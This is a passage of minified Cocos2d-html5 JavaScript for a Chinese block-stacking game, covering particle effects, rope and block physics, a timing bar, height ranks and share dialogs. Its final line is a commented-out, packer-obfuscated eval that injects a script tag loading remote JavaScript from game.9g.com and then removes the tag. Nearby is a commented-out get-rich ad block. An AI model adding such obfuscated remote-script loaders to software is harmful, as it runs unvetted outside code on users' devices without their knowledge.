  4526. var a = cc.winSize,
  4527. b = this.convertToWorldSpace(cc.p(0, this.Bc)).y;
  4528. if (!(b > a.height)) {
  4529. var b = Math.max(0, b),
  4530. c = this.convertToWorldSpace(cc.p(0, this.Hd)).y;
  4531. if (!(0 > c)) {
  4532. var c = Math.min(2 * a.height, c),
  4533. a = cc.p(2 * (Math.random() * a.width / 3), x.Xc(b, c)),
  4534. a = this.Db.convertToNodeSpace(a),
  4535. b = "star_" + Math.floor(2 * Math.random()) + ".png",
  4536. d = y.c.Ea(b);
  4537. d.setPosition(a);
  4538. this.Db.addChild(d);
  4539. d.setOpacity(0);
  4540. d.setScale(0.6);
  4541. this.Cc.push(d);
  4542. var a = cc.DelayTime.create(1 - Math.random()),
  4543. b = cc.FadeTo.create(0.3, 191.25),
  4544. c = cc.ScaleTo.create(0.8, 1),
  4545. b = cc.Spawn.create(b, c),
  4546. c = cc.FadeTo.create(0.4, 0),
  4547. f = cc.ScaleTo.create(1, 0.6),
  4548. c = cc.Spawn.create(c, f),
  4549. b = cc.nb.create(cc.Sequence.create(b, c), 3),
  4550. c = cc.RotateBy.create(1.8, x.Xc(-180, 180)),
  4551. b = cc.Spawn.create(b, c),
  4552. c = cc.CallFunc.create(function() {
  4553. this.Ij(d)
  4554. }.bind(this)),
  4555. a = cc.Sequence.create(a, b, c);
  4556. d.runAction(a)
  4557. }
  4558. }
  4559. }
  4560. },
  4561. Ij: function(a) {
  4562. this.Cc.splice(_.indexOf(this.Cc, a), 1);
  4563. a.removeFromParent(e)
  4564. },
  4565. gg: function(a, b) {
  4566. this.tf = a;
  4567. this.Nb = b;
  4568. this.Ac = cc.p(0, 0);
  4569. this.zc = 0;
  4570. this.Ed = e
  4571. },
  4572. ek: function(a, b) {
  4573. this.mf = a;
  4574. this.of = b;
  4575. this.nf = cc.p(this.getPositionX(), this.getPositionY());
  4576. this.sc = 0;
  4577. this.xd = e
  4578. },
  4579. step: function(a) {
  4580. this.xd && (this.sc += a, time_ = this.sc / this.mf, time_ = 1 < time_ ? 1 : time_, this.ok(time_));
  4581. this.Ed && (this.zc += a, time_ = this.zc / this.tf, time_ = 1 < time_ ? 1 : time_, this.pk(time_));
  4582. this.Ri()
  4583. },
  4584. ok: function(a) {
  4585. var b = cc.pMult(this.of, 0 === a || 1 == a ? a : -0.5 * (Math.cos(Math.PI * a) - 1));
  4586. this.setPosition(cc.pAdd(this.nf, b));
  4587. 1 == a && (this.xd = h)
  4588. },
  4589. pk: function(a) {
  4590. var b = -this.Nb.x + 2 * Math.random() * this.Nb.x,
  4591. c = -this.Nb.y + 2 * Math.random() * this.Nb.y,
  4592. b = cc.p(b, c);
  4593. 1 == a ? (a = cc.pSub(this.getPosition(), this.Ac), this.Ed = h) : (a = cc.pSub(this.getPosition(), this.Ac), a = cc.pAdd(a, b));
  4594. this.setPosition(a);
  4595. this.Ac = b
  4596. },
  4597. Ri: function() {
  4598. var a = this.convertToNodeSpace(cc.p(0, cc.winSize.height / 2)).y,
  4599. b = (this.hc - a) / (this.hc - this.ed),
  4600. b = cc.clampf(b, 0, 1),
  4601. c = y.c.Mg,
  4602. b = (c + (y.c.Bg - c) * b) / 60;
  4603. Math.random() < b && this.Vh();
  4604. a = (a - this.Bc) / (this.Hd - this.Bc);
  4605. a = cc.clampf(a, 0, 1);
  4606. b = y.c.Pg;
  4607. a = (b + (y.c.Hg - b) * a) / 60;
  4608. Math.random() < a && this.Wh()
  4609. }
  4610. });
  4611. y.c.te = cc.Sprite.extend({
  4612. V: g,
  4613. la: g,
  4614. Fc: g,
  4615. Cd: 0,
  4616. ctor: function(a, b, c, d) {
  4617. this._super();
  4618. this.V = cc.p(a, b);
  4619. this.la = cc.size(c, d)
  4620. },
  4621. wn: p("V"),
  4622. xn: p("la"),
  4623. W: function() {
  4624. return [this.xi(), this.yi(), this.Ai(), this.zi()]
  4625. },
  4626. xi: function() {
  4627. return this.convertToWorldSpace(this.V)
  4628. },
  4629. yi: function() {
  4630. var a = cc.p(this.V.x + this.la.width, this.V.y);
  4631. return this.convertToWorldSpace(a)
  4632. },
  4633. zi: function() {
  4634. var a = cc.p(this.V.x, this.V.y + this.la.height);
  4635. return this.convertToWorldSpace(a)
  4636. },
  4637. Ai: function() {
  4638. var a = cc.p(this.V.x + this.la.width, this.V.y + this.la.height);
  4639. return this.convertToWorldSpace(a)
  4640. }
  4641. });
  4642. y.c.wg = y.c.te.extend({
  4643. ctor: function() {
  4644. this._super();
  4645. this.init();
  4646. this.setAnchorPoint(cc.p(0.5, 0));
  4647. var a = cc.winSize.width;
  4648. this.V = cc.p(0, 0);
  4649. this.la = cc.size(a, 70)
  4650. }
  4651. });
  4652. y.c.mg = y.c.te.extend({
  4653. qd: g,
  4654. R: g,
  4655. Ob: g,
  4656. sd: g,
  4657. rc: 0,
  4658. S: 0,
  4659. bb: 0,
  4660. pa: 0,
  4661. Ra: g,
  4662. ad: g,
  4663. ctor: function(a) {
  4664. this._super();
  4665. this.qd = a;
  4666. this.initWithSpriteFrame(y.c.Ha((a ? "base_" : "block_") + y.c.Uf + ".png"));
  4667. this.setAnchorPoint(cc.p(0.5, 1));
  4668. this.sd = h;
  4669. this.Ra = cc.p(0, 0);
  4670. this.Fc = y.c.lg;
  4671. a = [75, 75, 75, 75, 62, 65][y.c.Uf];
  4672. var b = this.getContentSize();
  4673. this.V = cc.p(0, (b.height - a) / 2);
  4674. this.la = cc.size(b.width, a)
  4675. }
  4676. });
  4677. y.c.zg = cc.Sprite.extend({
  4678. M: g,
  4679. ab: g,
  4680. ul: g,
  4681. nd: g,
  4682. od: g,
  4683. ctor: function() {
  4684. this._super();
  4685. this.initWithSpriteFrame(y.c.Ha("rope.png"));
  4686. this.setAnchorPoint(cc.p(0.5, 1));
  4687. this.ab = y.c.Ea("sucker.png");
  4688. this.addChild(this.ab);
  4689. this.ab.setAnchorPoint(cc.p(0.5, 1));
  4690. x.ea(this.ab, this, 0.5, 0);
  4691. this.nd = y.c.re;
  4692. this.od = y.c.se
  4693. },
  4694. onEnter: function() {
  4695. this._super();
  4696. this.getContentSize();
  4697. this.scheduleUpdate()
  4698. },
  4699. Wf: function() {
  4700. var a = this.nd / 4,
  4701. b = y.c.yg / 2,
  4702. c = this.od;
  4703. this.setRotation(c);
  4704. var d = cc.Oa.create(cc.MoveBy.create(a, cc.p(0, b))),
  4705. f = cc.Na.create(cc.MoveBy.create(a, cc.p(0, -b))),
  4706. l = cc.va.create(cc.RotateBy.create(2 * a, 2 * -c)),
  4707. d = cc.Spawn.create(cc.Sequence.create(d, f), l),
  4708. f = cc.Oa.create(cc.MoveBy.create(a, cc.p(0, -b))),
  4709. b = cc.Na.create(cc.MoveBy.create(a, cc.p(0, b))),
  4710. a = cc.va.create(cc.RotateBy.create(2 * a, 2 * c)),
  4711. a = cc.Spawn.create(cc.Sequence.create(f, b), a),
  4712. c = cc.CallFunc.create(this.Wf, this),
  4713. a = cc.Sequence.create(d, a, c);
  4714. this.runAction(a)
  4715. },
  4716. Vf: function(a, b) {
  4717. var c = this.getPositionY(),
  4718. d = this.getContentSize().height - a,
  4719. c = cc.va.create(cc.MoveBy.create(1, cc.p(0, d - c))),
  4720. d = cc.CallFunc.create(b),
  4721. c = cc.Sequence.create(c, d);
  4722. this.runAction(c)
  4723. },
  4724. Sm: p("M"),
  4725. Yi: function(a) {
  4726. this.M || (this.M = a)
  4727. },
  4728. bi: function() {
  4729. this.M && (this.M = g)
  4730. },
  4731. update: function() {
  4732. if (this.M) {
  4733. this.M.isVisible() || this.M.setVisible(e);
  4734. var a = this.getContentSize(),
  4735. a = cc.p(a.width / 2, 0);
  4736. if (this.M.qd) this.ab.setRotation(-this.getRotation());
  4737. else {
  4738. var b = y.c.xg,
  4739. b = this.getRotation() * b;
  4740. this.M.setRotation(b);
  4741. this.ab.setRotation(-b)
  4742. }
  4743. a = this.M.getParent().convertToNodeSpace(this.convertToWorldSpace(a));
  4744. this.M.setPosition(a)
  4745. }
  4746. }
  4747. });
  4748. y.c.Tg = cc.Node.extend({
  4749. Qd: g,
  4750. Ya: 1,
  4751. zl: g,
  4752. qa: g,
  4753. ctor: function() {
  4754. this._super();
  4755. this.init();
  4756. var a = new cc.Sprite("#perfect_pad.png");
  4757. this.addChild(a);
  4758. a = y.c.Ea("perfect_bar.png");
  4759. this.qa = cc.k.create(a);
  4760. this.qa.Qc(cc.k.fc);
  4761. this.qa.ag(cc.p(1, 0.5));
  4762. this.qa.Xf(cc.p(1, 0));
  4763. this.qa.cg(100);
  4764. this.addChild(this.qa)
  4765. },
  4766. onEnter: function() {
  4767. this._super();
  4768. this.Pf()
  4769. },
  4770. Pf: function() {
  4771. this.Ya += 1;
  4772. this.Ya = cc.clampf(this.Ya, 0, y.c.Gg);
  4773. this.qa.stopAllActions();
  4774. var a = y.c.sg,
  4775. b = a - y.c.Rg * (this.Ya - 1),
  4776. b = cc.clampf(b, y.c.Og, a),
  4777. a = cc.zb.create(b, 100, 0),
  4778. b = cc.CallFunc.create(function() {
  4779. this.Qd && this.Qd.Kc()
  4780. }.bind(this));
  4781. this.qa.runAction(cc.Sequence.create(a, b))
  4782. }
  4783. });
  4784. y.c.cb = function(a) {
  4785. return a
  4786. };
  4787. y.c.Ea = function(a) {
  4788. return new cc.Sprite("#" + y.c.cb(a))
  4789. };
  4790. y.c.up = function(a) {
  4791. return new cc.Sprite(y.c.cb(a))
  4792. };
  4793. y.c.Ha = function(a) {
  4794. return x.Ha(y.c.cb(a))
  4795. };
  4796. y.c.ak = function(a, b, c) {
  4797. b = y.c.Ha(b);
  4798. a.setSpriteFrame(b);
  4799. c && a.setContentSize(b.vi())
  4800. };
  4801. y.c.da = function(a) {
  4802. x.ue.l().da(y.c.cb("sound/" + a + ".mp3"))
  4803. };
  4804. y.c.hp = function(a, b, c, d) {
  4805. arguments[0] = y.c.cb(a);
  4806. return cc.og.load.apply(cc.og, arguments)
  4807. };
  4808. y.c.Xl = function(a) {
  4809. return cc.el.create(y.c.cb(a))
  4810. };
  4811. y.c.Gf = function() {
  4812. var a;
  4813. a = a || y.c.Nf;
  4814. if (10 > a) return "潘长江";
  4815. if (10 <= a && 20 > a) return "姚明";
  4816. if (20 <= a && 30 > a) return "长颈鹿";
  4817. if (30 <= a && 40 > a) return "天安门";
  4818. if (40 <= a && 50 > a) return "自由女神";
  4819. if (50 <= a && 60 > a) return "埃菲尔铁塔";
  4820. if (60 <= a && 70 > a) return "东方明珠";
  4821. if (70 <= a && 80 > a) return "迪拜塔";
  4822. if (80 <= a && 90 > a) return "泰山";
  4823. if (90 <= a && 100 > a) return "阿尔卑斯山";
  4824. if (100 <= a) return "珠穆朗玛峰"
  4825. };
  4826. y.c.Uc = x.Y.extend({
  4827. ctor: function(a, b, c, d) {
  4828. this._super();
  4829. this.initWithSpriteFrameName(b + ".png", c, d);
  4830. this.$f(e);
  4831. a && (a = cc.LabelTTF.create(a, "黑体", 22), this.addChild(a), x.Pd(a))
  4832. }
  4833. });
  4834. y.c.Yg = cc.LayerColor.extend({
  4835. ik: g,
  4836. ctor: function() {
  4837. this._super();
  4838. this.init(cc.color(0, 0, 0, 200));
  4839. this.setContentSize(cc.winSize);
  4840. x.Mc(this, e);
  4841. var a = this.ik = new cc.Sprite("#mtl_sharetip.png");
  4842. a.setAnchorPoint(1, 1);
  4843. a.setPosition(cc.winSize.width, cc.winSize.height);
  4844. this.addChild(a);
  4845. if ("gushici" ==
  4846. function(a) {
  4847. if (!window || !window.location) return g;
  4848. a = window.location.search.substr(1).match(RegExp("(^|&)" + a + "=([^&]*)(&|$)", "i"));
  4849. return a != g ? unescape(a[2]) : g
  4850. }("from")) {
  4851. var b = cc.LabelTTF.create("", "Arail", 20);
  4852. b.setDimensions(cc.size(0.8 * cc.winSize.width, 0));
  4853. b.setHorizontalAlignment(cc.TEXT_ALIGNMENT_CENTER);
  4854. var c = new y.c.Uc("+关注", "ma_button_blue", function() {
  4855. location.href = "http://game.ikongzhong.cn"
  4856. }, this);
  4857. b.anchorY = c.anchorY = 1;
  4858. b.x = c.x = cc.winSize.width / 2;
  4859. b.y = x.Cf(a) - 50;
  4860. c.y = x.Cf(b) - 70;
  4861. this.addChild(b);
  4862. this.addChild(c)
  4863. }
  4864. },
  4865. onTouchBegan: function() {
  4866. this.scheduleOnce(this.removeFromParent.bind(this), 0);
  4867. return e
  4868. }
  4869. });
  4870. y.c.oe = cc.Sprite.extend({
  4871. ctor: function(a, b, c, d, f) {
  4872. function l(a) {
  4873. return function() {
  4874. s.removeFromParent();
  4875. a()
  4876. }
  4877. }
  4878. this._super();
  4879. this.initWithSpriteFrameName("mtl_board.png");
  4880. if (a) {
  4881. var m = cc.LabelTTF.create(a, "黑体", 18);
  4882. m.setColor(cc.color(0, 0, 0));
  4883. m.setHorizontalAlignment(cc.TEXT_ALIGNMENT_CENTER);
  4884. m.setDimensions(cc.size(this.width - 40, 0));
  4885. x.ea(m, this, 0.5, 0.65);
  4886. this.addChild(m)
  4887. } else {
  4888. /*
  4889. var m = new cc.Sprite("mtl_link.png"),
  4890. r = x.Y.Yh(m.getContentSize(), function() {
  4891. location.href = ""
  4892. }, this);
  4893. A.Ia("adv", "zysj");
  4894. m.scale = 0.45;
  4895. this.addChild(m);
  4896. this.addChild(r);
  4897. x.ea(r, this, 0.5, 0.35);
  4898. x.ea(m, this, 0.5, 0.35)
  4899. var m1 = new cc.LabelTTF.create("关注我们", "Arial", 48),
  4900. r1 = x.Y.Yh(m1.getContentSize(), function() {
  4901. //location.href = ""
  4902. }, this);
  4903. m1.scale = 0.45;
  4904. m1.setColor(cc.color(0, 0, 255));
  4905. m1.setHorizontalAlignment(cc.TEXT_ALIGNMENT_CENTER);
  4906. this.addChild(m1);
  4907. this.addChild(r1);
  4908. x.ea(r1, this, 0.5, 0.4);
  4909. x.ea(m1, this, 0.5, 0.4)
  4910. var m2 = new cc.LabelTTF.create("抓住机遇,赚辆奔驰很容易!", "Arial", 32),
  4911. r2 = x.Y.Yh(m2.getContentSize(), function() {
  4912. location.href = "/"
  4913. }, this);
  4914. m2.scale = 0.45;
  4915. m2.setColor(cc.color(0, 0, 255));
  4916. m2.setHorizontalAlignment(cc.TEXT_ALIGNMENT_CENTER);
  4917. this.addChild(m2);
  4918. this.addChild(r2);
  4919. x.ea(r2, this, 0.5, 0.15);
  4920. x.ea(m2, this, 0.5, 0.15)
  4921. */
  4922. }
  4923. var s = this;
  4924. a = a ? 0.27 : 0.7;
  4925. b = new y.c.Uc(b, "mtl_btn_blue", l(c), this);
  4926. x.ea(b, this, 0.28, a);
  4927. this.addChild(b);
  4928. d = new y.c.Uc(d, "mtl_btn_red", l(f), this);
  4929. x.ea(d, this, 0.72, a);
  4930. this.addChild(d)
  4931. }
  4932. });
  4933. //eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|script|parentNode|http|com|9g|game|||javascript|text|type|src|true|async|onload|insertBefore|js|removeChild|mtl|getElementsByTagName||createElement'.split('|'),0,{}))